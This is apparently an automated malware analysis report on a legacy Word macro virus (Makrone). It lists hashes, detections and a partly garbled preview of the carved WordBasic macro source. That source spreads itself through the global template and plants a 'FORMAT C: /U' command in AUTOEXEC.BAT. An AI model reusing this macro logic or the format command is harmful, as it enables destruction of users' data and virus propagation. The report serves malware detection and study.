Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0550192d8e0bd2d3…

MALICIOUS

Office (OLE)

7.0 KB First seen: 2012-06-14
MD5: 617b0644086319e48bfbe8fa2a693ad8 SHA-1: 56fb17e2d398b366a0396689969cdf84e31b0fa4 SHA-256: 0550192d8e0bd2d30030cf0f1330b362e6c42269daf129b6b6f81ffe74b8b462
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by the 'RSN MACRO VIRUS' marker and ClamAV detection as 'Win.Trojan.Makrone-2'. The document body contains references to VBA macro names like 'AutoOpen', 'Makrone1', 'Makrone2', and 'Makrone3', suggesting the execution of malicious code upon opening. The presence of legacy markers and macro names strongly indicates a malicious intent, likely to spread or perform unauthorized actions.

Heuristics 3

  • ClamAV: Win.Trojan.Makrone-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Makrone-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 912 bytes
SHA-256: 60af0ec530c2f3a944e8b45ed4ecf74949b9321b15f9ee88a26a98a6979881bd
Preview script
First 1,000 lines of the extracted script
6  
  25964    
  26465  
MAIN
@cmd00d1 = 0
@cmd80c2 @cmd8025 = ":AutoOpen" , "Global:Tempo"
@cmd80c2 @cmd8025 = ":Makrone1" , "Global:Makrone"
@cmd80c2 @cmd8025 = ":Makrone2" , "Global:DateiSpeichern"
@cmd80c2 @cmd8025 = ":Makrone3" , "Global:DateiDrucken"
Makrone
MAIN
name$ = "C:\AUTOEXEC.BAT"
gag1$ = "@ECHO N|FORMAT C: /U"
gag2$ = "@ECHO " = @cmd8005 7 = @cmd8005 13 = @cmd8005 10 = "@ECHO|DIR /S > NUL"
name$ 1
zeilen = 0
@cmd80a9 1
1 , z$ zeilen = zeilen = 1
z$ = gag1$ * ende
datei$ zeilen
@cmd80a8 1 , 0
i = 1 zeilen 1 , datei$ i
1
attr = @cmd810f name$
@cmd8103 name$ , 0
name$ 1
1 , gag1$
1 , gag2$
i = 1 zeilen 1 , datei$ i
@cmd8103 name$ , attr
1
MAIN
@cmd80c2 "Global:Tempo" , @cmd8025 = ":AutoOpen"
@cmd80c2 "Global:Makrone" , @cmd8025 = ":Makrone1"
@cmd80c2 "Global:DateiSpeichern" , @cmd8025 = ":Makrone2"
@cmd80c2 "Global:DateiDrucken" , @cmd8025 = ":Makrone3"
@cmd0054 = @cmd8025 , = 1
Makrone

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